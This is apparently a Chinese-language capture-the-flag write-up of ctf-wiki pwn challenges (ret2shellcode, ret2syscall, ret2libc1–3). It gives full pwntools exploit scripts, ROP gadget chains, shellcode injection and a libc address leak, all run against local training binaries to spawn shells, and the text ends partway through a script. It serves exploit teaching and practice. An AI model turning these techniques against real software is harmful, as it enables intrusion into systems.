【ctf题目系列】ctfwiki pwn类型


categories:

  • ctf

ret2shellcode

[root@ningan ret2shellcode]# ./ret2shellcode
No system for you this time !!!
123
bye bye ~[root@ningan ret2shellcode]#

checksec检查

[root@ningan ret2shellcode]# checksec ret2shellcode
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/ctf/ctfwiki/ret2shellcode/ret2shellcode'Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX disabledPIE:      No PIE (0x8048000)RWX:      Has RWX segments

32位程序
NX disabled = 可以将shellcode放在数据段,即可执行

ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{char s[100]; // [esp+1Ch] [ebp-64h] BYREFsetvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts("No system for you this time !!!");gets(s);strncpy(buf2, s, 0x64u);printf("bye bye ~");return 0;
}

栈溢出漏洞,还同时将对应的字符串复制到 buf2 处

查看buf2,发现在bss段

.bss:0804A065 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+align 20h
.bss:0804A080                               public buf2
.bss:0804A080                               ; char buf2[100]
.bss:0804A080 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+buf2 db 64h dup(?)                      ; DATA XREF: main+7B↑o
.bss:0804A080 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+_bss ends
.bss:0804A080 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+

image.png

gdb分析

pwndbg> b main
...
pwndbg> r
...pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATAStart        End Perm     Size Offset File0x8048000  0x8049000 r-xp     1000      0 /root/ctfwiki/ret2shellcode/ret2shellcode0x8049000  0x804a000 r--p     1000      0 /root/ctfwiki/ret2shellcode/ret2shellcode0x804a000  0x804b000 rw-p     1000   1000 /root/ctfwiki/ret2shellcode/ret2shellcode
0xf7c00000 0xf7c22000 r--p    22000      0 /usr/lib/i386-linux-gnu/libc.so.6
0xf7c22000 0xf7d9b000 r-xp   179000  22000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7d9b000 0xf7e1c000 r--p    81000 19b000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7e1c000 0xf7e1e000 r--p     2000 21b000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7e1e000 0xf7e1f000 rw-p     1000 21d000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7e1f000 0xf7e29000 rw-p     a000      0 [anon_f7e1f]
0xf7fc2000 0xf7fc4000 rw-p     2000      0 [anon_f7fc2]
0xf7fc4000 0xf7fc8000 r--p     4000      0 [vvar]
0xf7fc8000 0xf7fca000 r-xp     2000      0 [vdso]
0xf7fca000 0xf7fcb000 r--p     1000      0 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fcb000 0xf7fed000 r-xp    22000   1000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fed000 0xf7ffb000 r--p     e000  23000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffb000 0xf7ffd000 r--p     2000  30000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffd000 0xf7ffe000 rw-p     1000  32000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xfffdd000 0xffffe000 rwxp    21000      0 [stack]

image.png

答案中说,这个地方可以看出来bss段有可执行权限,怎么看出来的呢????

20230830更新 开始
同组的小伙伴拿着exp执行不了结果,我就又回顾了以下这道题。我之所以能够执行,是因为我pwndbg是在kali的虚拟机中执行的,exp是在我ubuntu的虚拟机执行的,所以可以正常执行;当放到kali的系统中执行exp的时候,就执行不了了…
20230830更新 结束

# gdb ret2shellcode
pwndbg> b main
...
pwndbg> run
...
pwndbg> n
pwndbg> n
pwndbg> n
...
AAAAAAAA
pwndbg> stack 40
pwndbg> distance 源地址 目的地址
pwndbg> p/d 0x6c

image.png

查找偏移地址为108

解题思路

默认栈帧+-----------------+|     retaddr     |+-----------------+|     saved ebp   |ebp--->+-----------------+|                 ||                 ||                 ||                 ||                 ||                 |buf--->+-----------------+修改后栈帧+-----------------+|   (retaddr)     ||    buf2_addr    |+-----------------+|   (saved ebp)   ||       BBBB      |ebp--->+-----------------+|                 ||                 ||shellcode...AAAA ||                 ||                 ||                 |s--->+-----------------++-----------------+|                 ||                 ||shellcode...AAAA ||                 ||                 ||                 |buf2--->+-----------------+    bss段                                 

exp

#!/usr/bin/env python
from pwn import *sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080 sh.sendline(shellcode.ljust(108+4, b'A') + p32(buf2_addr))
sh.interactive()"""
[root@ningan ret2shellcode]# python exp.py
[+] Starting local process './ret2shellcode': pid 8742
[*] Switching to interactive mode
No system for you this time !!!
bye bye ~$ ls
exp.py    ret2shellcode
$"""

ret2syscall

检查

[root@ningan ret2syscall]# checksec rop
[*] '/root/ctf/ctfwiki/ret2syscall/rop'Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x8048000)[root@ningan ret2syscall]# file rop
rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped

image.png

ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [esp+1Ch] [ebp-64h] BYREFsetvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts("This time, no system() and NO SHELLCODE!!!");puts("What do you plan to do?");gets(&v4);return 0;
}

image.png

可以看到这块有这么多函数,因为是静态链接进来的

gdb分析

# gdb rop
pwndbg> b main
...
pwndbg> run
...
pwndbg> n
pwndbg> n
pwndbg> n
...
AAAAAAAA
pwndbg> stack 40
pwndbg> distance 0xffffd2fc 0xffffd368
0xffffd2fc->0xffffd368 is 0x6c bytes (0x1b words)
pwndbg> p/d 0x6c

image.png

ROPgadget分析

[root@ningan ret2syscall]# ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
[root@ningan ret2syscall]#
[root@ningan ret2syscall]# ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret
[root@ningan ret2syscall]#
[root@ningan ret2syscall]#
[root@ningan ret2syscall]#
[root@ningan ret2syscall]# ROPgadget --binary rop  --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
[root@ningan ret2syscall]#
[root@ningan ret2syscall]#
[root@ningan ret2syscall]# ROPgadget --binary rop  --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80Unique gadgets found: 1

image.png

image.png

解题思路

此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。

简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell

execve("/bin/sh",NULL,NULL)

其中,该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0
默认栈帧+-----------------+|     retaddr     |+-----------------+|     saved ebp   |ebp--->+-----------------+|                 ||                 ||                 ||                 ||                 ||                 |v4--->+-----------------+修改后栈帧+-----------------+|    0x80_addr    |+-----------------+                                           |  /bin/sh_addr   |+-----------------+                                           |        0        |+-----------------+                                           |        0        |+-----------------+                                           |pop_edx_ecx_ebx_ret_addr |+-----------------+                                        |       0xb       |+-----------------+|    (retaddr)    ||pop_eax_ret_addr |+-----------------+|   (saved ebp)   ||       BBBBB     |ebp--->+-----------------+|                 ||                 ||   AAA...AAAA    ||     108位       ||                 ||                 |v4--->+-----------------+

exp

#!/usr/bin/env python
from pwn import *sh = process('./rop')pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])sh.sendline(payload)
sh.interactive()"""
[root@ningan ret2syscall]# python exp.py
[+] Starting local process './rop': pid 24853
[*] Switching to interactive mode
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
$ ls
exp.py    rop
$
"""

参考

ctfwifi官方 ret2shellcode

ret2libc1

检查

[root@ningan ret2libc1]# file ret2libc1
ret2libc1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb89c86b266de4ff294489da59959a62f7aa1e61, with debug_info, not stripped
[root@ningan ret2libc1]#
[root@ningan ret2libc1]# checksec ret2libc1
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/ctf/ctfwiki/ret2libc1/ret2libc1'Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x8048000)

ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{char s[100]; // [esp+1Ch] [ebp-64h] BYREFsetvbuf(stdout, 0, 2, 0);setvbuf(_bss_start, 0, 1, 0);puts("RET2LIBC >_<");gets(s);return 0;
}

查找system函数的地址

.plt:08048460                               ; int system(const char *command)

image.png

查找/bin/sh字符串的地址

.rodata:08048720	00000008	C	/bin/sh

image.png

解题思路

这个例子相对来说简单,同时提供了 system 地址与 /bin/sh 的地址

如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’4位垃圾数据’ 作为虚假的地址,其后参数对应的参数内容。

默认栈帧+-----------------+|     retaddr     |+-----------------+|     saved ebp   |ebp--->+-----------------+|                 ||                 ||                 ||                 ||                 ||                 |v4--->+-----------------+修改后栈帧+-----------------+                                           |    binsh_addr   |+-----------------+                                        |    4位垃圾数据   |+-----------------+|    (retaddr)    || system_plt_addr |+-----------------+|   (saved ebp)   ||      BBBBB      |ebp--->+-----------------+|                 ||                 ||   AAA...AAAA    ||     108位       ||                 ||                 |v4--->+-----------------+

exp

#!/usr/bin/env python
from pwn import *sh = process('./ret2libc1')binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['A' * 108, 'B' * 4, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)sh.interactive()"""
[root@ningan ret2libc1]# python exp.py
[+] Starting local process './ret2libc1': pid 738
[*] Switching to interactive mode
RET2LIBC >_<
$ ls
exp.py    ret2libc1"""

ret2libc2

检查

[root@ningan ret2libc2]# file ret2libc2
ret2libc2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=83535a471d9ef90c3d5ff7f077944fb6021787a1, with debug_info, not stripped
[root@ningan ret2libc2]#
[root@ningan ret2libc2]# checksec ret2libc2
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/ctf/ctfwiki/ret2libc2/ret2libc2'Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x8048000)

ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{char s[100]; // [esp+1Ch] [ebp-64h] BYREFsetvbuf(stdout, 0, 2, 0);setvbuf(_bss_start, 0, 1, 0);puts("Something surprise here, but I don't think it will work.");printf("What do you think ?");gets(s);return 0;
}

image.png

可以看到,有system的plt函数,如上图;但是没有/bin/sh字符串,如下图

image.png

ROPgadget分析

image.png

这个工具也看到没有/bin/sh字符串

image.png

查看bss是否可以写入

ida分析

bss段的大概位置为:0804A040->0804A040,并且0x0804A040处有一个可以写入的地方(buf2变量)

image.png

image.png

get函数的地址为:0x08048460

gdb分析

gdb   ret2libc2
b main
r
vmmap

image.png
可以看到,bss段是可写的

ROPgadget分析

image.png

[root@ningan ret2libc2]# ROPgadget --binary ret2libc2  --only 'pop|ret' | grep 'eax'
[root@ningan ret2libc2]#
[root@ningan ret2libc2]#
[root@ningan ret2libc2]# ROPgadget --binary ret2libc2  --only 'pop|ret' | grep 'ebx'
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
[root@ningan ret2libc2]# ROPgadget --binary ret2libc2  --only 'pop|ret' | grep 'ecx'
[root@ningan ret2libc2]# ROPgadget --binary ret2libc2  --only 'pop|ret' | grep 'edx'

拿到pop_ebx_ret的地址为:0x0804843d

!!!重点思路!!!

代码中直接有system的plt地址,但是没有/bin/sh字符串
这里就可以调用get函数来让我们输入/bin/sh 然后在让system返回到我们输入的地方
哪里可以输入呢?查找bss段是否有可以输入的地方
发现bss段有一个buf变量,而且bss段是可写的
调用get函数写一个/bin/sh进去,把这个写进去的字符串当成system的函数来执行即可~

exp

from pwn import *
p=process('./ret2libc2')
get_add=0x08048460
sys_add=0x08048490
buf2_add=0x0804A080
payload=flat([b'A'*112,get_add,sys_add,buf2_add,buf2_add])
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

image.png

exp2

##!/usr/bin/env python
from pwn import *sh = process('./ret2libc2')gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

image.png

image.png

参考

# CTFWIKI-PWN-ret2libc 讲的非常详细

ret2libc3

checksec

[root@ningan ret2libc3]# file ret2libc3
ret2libc3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=c0ad441ebd58b907740c1919460c37bb99bb65df, with debug_info, not stripped
[root@ningan ret2libc3]#
[root@ningan ret2libc3]# checksec ret2libc3
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/ctf/ctfwiki/ret2libc3/ret2libc3'Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x8048000)
[root@ningan ret2libc3]# ./ret2libc3
No surprise anymore, system disappeard QQ.
Can you find it !?1234

image.png

圈住的为自己输入的内容

找漏洞函数

进入到ida中,查看main函数,发现gets函数有溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{char s[100]; // [esp+1Ch] [ebp-64h] BYREFsetvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts("No surprise anymore, system disappeard QQ.");printf("Can you find it !?");gets(s);return 0;
}

image.png

找system函数-没找见

上图可以看到,没有system函数

进到pwndbg中,也可以看到没有system函数
(此处可以以puts函数为对比,看到上图ida中puts函数的地址为0x08048460,看到下图pwndbg中puts函数的地址也为0x08048460)

pwndbg> iinfo function puts
pwndbg> iinfo function system

image.png

找/bin/sh字符串-没找见

ida中找:
ida操作:shift+F12 找到字符串
也没有/bin/sh字符串

image.png

ROPgadget操作:

┌──(root㉿kali)-[~/ctfwiki/ret2libc3]
└─# ROPgadget --binary ret2libc3 --string '/bin/sh'
Strings information
============================================================┌──(root㉿kali)-[~/ctfwiki/ret2libc3]
└─# ROPgadget --binary ret2libc3 --string 'sh'
Strings information
============================================================
0x08048736 : sh

image.png

上面看到,没有/bin/sh,有一个sh。
那这个sh能否利用呢?
看到sh的地址为:0x0x08048736,到ida中分析查看,找到了这个sh指的是no_shell-QQ中的sh,所以是不能利用的

.rodata:08048733                               ; const char s[]
.rodata:08048733 6E 6F 5F 73 68 65 6C 6C 5F 51+s db 'no_shell_QQ',0                    ; DATA XREF: secure+3D↑o
.rodata:0804873F 00                            align 10h

image.png

解题思路

通过泄露libc的地址,来计算system的地址和/bin/sh的地址

如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。**当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。**已经执行过的话就会在got表生存下来,有了真实的地址!

(解法1) 可以泄露puts函数,puts函数已经执行过了。基本利用思路如下:

  • 泄露puts函数地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’)

exp:泄露puts函数的真实地址

# 导入 pwntools 库,这是一个用于二进制漏洞利用的强大工具库。
from pwn import *
# 导入 LibcSearcher,这是一个用于从函数地址中搜索libc版本和提取libc函数地址的工具。
from LibcSearcher import * # 创建一个新的进程,执行名为 ret2libc3 的可执行文件。这将用于在本地系统上执行漏洞利用。
io = process("./ret2libc3")
# 将 ret2libc3 可执行文件加载到 elf 对象中,以便从中获取有关程序结构的信息,例如函数地址和GOT地址。
elf = ELF("./ret2libc3")print("=== 通过泄露 puts 函数的地址 ===")
# 获取 puts 函数的 PLT(Procedure Linkage Table)地址和 GOT(Global Offset Table)地址。
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
# 获取程序的 _start 符号的地址,这通常是程序的入口点。
start_addr=elf.symbols['_start']
print("puts_plt: ", puts_plt)
print("hex(puts_plt): ", hex(puts_plt))
print("puts_got: ", puts_got)
print("hex(puts_got): ", hex(puts_got))
print("start_addr: ", start_addr)
print("hex(start_addr): ", hex(start_addr))
# 构建一个 payload,其中包括 112 个字节的填充(用于填充到返回地址之前),然后是 puts 函数的 PLT 地址、程序入口点地址和 puts 函数的 GOT 地址。这将在程序中触发漏洞。
payload1 = flat([b'A'*112,puts_plt,start_addr,puts_got])
# payload1 = b'A'*108 + b'BBBB' + puts_plt + start + puts_got  # 报错:TypeError: can't concat int to bytes
# payload1 = b'A'*108 + b'BBBB' + p32(puts_plt) + p32(start) + p32(puts_got) # 正确写法
print("payload1: ", payload1)
# 发送构建好的 payload1 到程序。
io.sendlineafter('!?',payload1)
# 接收从程序中泄露的 puts 函数的地址,并将其转换为整数。这将帮助确定libc的基址。
# io.recv(4)接受程序返回的二进制 大小为4字节  u32()为保存为无符号的32位
puts_addr_raw = io.recv(4)
puts_addr = u32(puts_addr_raw) 
print("puts_addr_raw: ", puts_addr_raw)
print("puts_addr: ", puts_addr)
print("hex(puts_addr): ", hex(puts_addr))print("=== 计算libc的基址,然后获取 system 函数地址和 /bin/sh 字符串地址 ===")
# 使用 LibcSearcher 工具,根据泄露的 puts 函数地址来搜索libc库并提取相关信息。
libc = LibcSearcher('puts',puts_addr)
# 计算libc的基址,这是通过从 puts 函数地址中减去 puts 在libc中的偏移得到的。
base = puts_addr-libc.dump('puts')
# 计算 system 函数和 /bin/sh 字符串的地址,这将用于后续的漏洞利用。
system_addr = base+libc.dump('system')
bin_addr=base+libc.dump('str_bin_sh')
# 构建第二个 payload,其中包括 112 个字节的填充,然后是计算得到的 system 函数地址、随意的返回地址(1234),以及计算得到的 /bin/sh 字符串地址。
print("hex(base): ", hex(base))
print("hex(system_addr): ", hex(system_addr))
print("hex(bin_addr): ", hex(bin_addr))
payload2 = flat([b'A'*112,system_addr,1234,bin_addr])
# 使用p32函数将整数转换为对应的4字节二进制字符串
# payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + b'0xdeadbeaf' + p32(sh_addr) # 错误写法
# payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + p32(0xdeadbeaf) + p32(sh_addr) # 正确写法
# payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + b'\x0f\x0b\x0f\x0b' + p32(sh_addr) # 正确写法
# payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + b'1234' + p32(sh_addr) # 正确写法
print("payload2: ", payload2)
# 发送构建好的 payload2 到程序,触发第二阶段的漏洞利用,旨在获取系统 Shell。
io.sendlineafter('!?',payload2)
# 与程序进行交互,获取系统 Shell,进入交互式命令模式。
io.interactive()"""                                                            
┌──(root㉿kali)-[~/ctfwiki/ret2libc3]
└─# python exp.py      
[+] Starting local process './ret2libc3': pid 18449
[*] '/root/ctfwiki/ret2libc3/ret2libc3'Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x8048000)
=== 通过泄露 puts 函数的地址 ===
puts_plt:  134513760
hex(puts_plt):  0x8048460
puts_got:  134520856
hex(puts_got):  0x804a018
start_addr:  134513872
hex(start_addr):  0x80484d0
payload1:  b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`\x84\x04\x08\xd0\x84\x04\x08\x18\xa0\x04\x08'
/usr/local/lib/python3.11/dist-packages/pwnlib/tubes/tube.py:840: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytesres = self.recvuntil(delim, timeout=timeout)
puts_addr_raw:  b' 2\xc7\xf7'
puts_addr:  4157026848
hex(puts_addr):  0xf7c73220
=== 计算libc的基址,然后获取 system 函数地址和 /bin/sh 字符串地址 ===
[+] There are multiple libc that meet current constraints :
0 - libc6_2.37-5_i386
1 - libc6_2.32-0experimental0_amd64
2 - libc6_2.37-6_i386
3 - libc6-amd64_2.32-0experimental0_i386
4 - libc6-amd64_2.8~20080505-0ubuntu9_i386
5 - libc6_2.32-0experimental1_amd64
6 - libc6-amd64_2.32-0experimental1_i386
7 - libc6_2.8~20080505-0ubuntu9_amd64
8 - libc6_2.37-7_i386
[+] Choose one : 0
hex(base):  0xf7c00000
hex(system_addr):  0xf7c4c8a0
hex(bin_addr):  0xf7db5fc8
payload2:  b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\xc8\xc4\xf7\xd2\x04\x00\x00\xc8_\xdb\xf7'
[*] Switching to interactive mode
$ ls
core  exp2.py  exp-clean.py  exp.py  ret2libc3
$  
"""

image.png

libc-database

https://libc.rip/

从上面的运行结果中可以看到,puts函数的真实地址为:0xf7c73220
末尾220为12位,输入工具中进行查找,可以看到右边的第一个就是我们上面输入的0所对应的libc6_2.37-5_i386

image.png

exp-clean exp 删掉了注释

from pwn import *
from LibcSearcher import *io = process("./ret2libc3")
elf = ELF("./ret2libc3")puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
start = elf.symbols['_start']# payload = b'A'*108 + b'BBBB' + puts_plt + start + puts_got  # 报错:TypeError: can't concat int to bytes
payload = b'A'*108 + b'BBBB' + p32(puts_plt) + p32(start) + p32(puts_got) # 正确写法
io.sendlineafter("Can you find it !?", payload)
puts_addr_raw = io.recv(4)
puts_addr = u32(puts_addr_raw)libc = LibcSearcher("puts", puts_addr)
base = puts_addr - libc.dump("puts")
system_addr = base + libc.dump("system")
sh_addr = base + libc.dump("str_bin_sh")# payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + b'0xdeadbeaf' + p32(sh_addr) # 错误写法
# payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + p32(0xdeadbeaf) + p32(sh_addr) # 正确写法
# payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + b'\x0f\x0b\x0f\x0b' + p32(sh_addr) # 正确写法
payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + b'1234' + p32(sh_addr) # 正确写法
io.sendlineafter("Can you find it !?", payload2)
io.interactive()"""
┌──(root㉿kali)-[~/ctfwiki/ret2libc3]
└─# python exp-clean.py                                                                              
[+] Starting local process './ret2libc3': pid 18209
[*] '/root/ctfwiki/ret2libc3/ret2libc3'Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x8048000)
/usr/local/lib/python3.11/dist-packages/pwnlib/tubes/tube.py:840: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytesres = self.recvuntil(delim, timeout=timeout)
[+] There are multiple libc that meet current constraints :
0 - libc6_2.37-5_i386
1 - libc6_2.32-0experimental0_amd64
2 - libc6_2.37-6_i386
3 - libc6-amd64_2.32-0experimental0_i386
4 - libc6-amd64_2.8~20080505-0ubuntu9_i386
5 - libc6_2.32-0experimental1_amd64
6 - libc6-amd64_2.32-0experimental1_i386
7 - libc6_2.8~20080505-0ubuntu9_amd64
8 - libc6_2.37-7_i386
[+] Choose one : 0
[*] Switching to interactive mode
$ ls
core  exp2.py  exp-clean.py  exp.py  ret2libc3
$ 
[*] Interrupted
[*] Stopped process './ret2libc3' (pid 18209)┌──(root㉿kali)-[~/ctfwiki/ret2libc3]
└─# ┌──(root㉿kali)-[~/ctfwiki/ret2libc3]
└─# """

image.png

exp2:泄露setvbuf函数的真实地址

# 导入 pwntools 库,这是一个用于二进制漏洞利用的强大工具库。
from pwn import *
# 导入 LibcSearcher,这是一个用于从函数地址中搜索libc版本和提取libc函数地址的工具。
from LibcSearcher import * # 创建一个新的进程,执行名为 ret2libc3 的可执行文件。这将用于在本地系统上执行漏洞利用。
io = process("./ret2libc3")
# 将 ret2libc3 可执行文件加载到 elf 对象中,以便从中获取有关程序结构的信息,例如函数地址和GOT地址。
elf = ELF("./ret2libc3")print("=== 通过泄露 setvbuf 函数的地址 ===")
# 获取 puts 函数的 PLT(Procedure Linkage Table)地址和 GOT(Global Offset Table)地址。
puts_plt = elf.plt["puts"]
setvbuf_got = elf.got["setvbuf"]
# 获取程序的 _start 符号的地址,这通常是程序的入口点。
start_addr=elf.symbols['_start']
print("puts_plt: ", puts_plt)
print("hex(puts_plt): ", hex(puts_plt))
print("setvbuf_got: ", setvbuf_got)
print("hex(setvbuf_got): ", hex(setvbuf_got))
print("start_addr: ", start_addr)
print("hex(start_addr): ", hex(start_addr))
# 构建一个 payload,其中包括 112 个字节的填充(用于填充到返回地址之前),然后是 puts 函数的 PLT 地址、程序入口点地址和 setvbuf 函数的 GOT 地址。这将在程序中触发漏洞。
payload1 = flat([b'A'*112,puts_plt,start_addr,setvbuf_got])
# payload1 = b'A'*108 + b'BBBB' + puts_plt + start + setvbuf_got  # 报错:TypeError: can't concat int to bytes
# payload1 = b'A'*108 + b'BBBB' + p32(puts_plt) + p32(start) + p32(setvbuf_got) # 正确写法
print("payload1: ", payload1)
# 发送构建好的 payload1 到程序。
io.sendlineafter('!?',payload1)
# 接收从程序中泄露的 puts 函数的地址,并将其转换为整数。这将帮助确定libc的基址。
# io.recv(4)接受程序返回的二进制 大小为4字节  u32()为保存为无符号的32位
setvbuf_addr_raw = io.recv(4)
setvbuf_addr = u32(setvbuf_addr_raw) 
print("setvbuf_addr_raw: ", setvbuf_addr_raw)
print("setvbuf_addr: ", setvbuf_addr)
print("hex(setvbuf_addr): ", hex(setvbuf_addr))print("=== 计算libc的基址,然后获取 system 函数地址和 /bin/sh 字符串地址 ===")
# 使用 LibcSearcher 工具,根据泄露的 puts 函数地址来搜索libc库并提取相关信息。
libc = LibcSearcher('setvbuf',setvbuf_addr)
# 计算libc的基址,这是通过从 puts 函数地址中减去 puts 在libc中的偏移得到的。
base = setvbuf_addr-libc.dump('setvbuf')
# 计算 system 函数和 /bin/sh 字符串的地址,这将用于后续的漏洞利用。
system_addr = base+libc.dump('system')
bin_addr=base+libc.dump('str_bin_sh')
# 构建第二个 payload,其中包括 112 个字节的填充,然后是计算得到的 system 函数地址、随意的返回地址(1234),以及计算得到的 /bin/sh 字符串地址。
print("hex(base): ", hex(base))
print("hex(system_addr): ", hex(system_addr))
print("hex(bin_addr): ", hex(bin_addr))
payload2 = flat([b'A'*112,system_addr,1234,bin_addr])
# 使用p32函数将整数转换为对应的4字节二进制字符串
# payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + b'0xdeadbeaf' + p32(sh_addr) # 错误写法
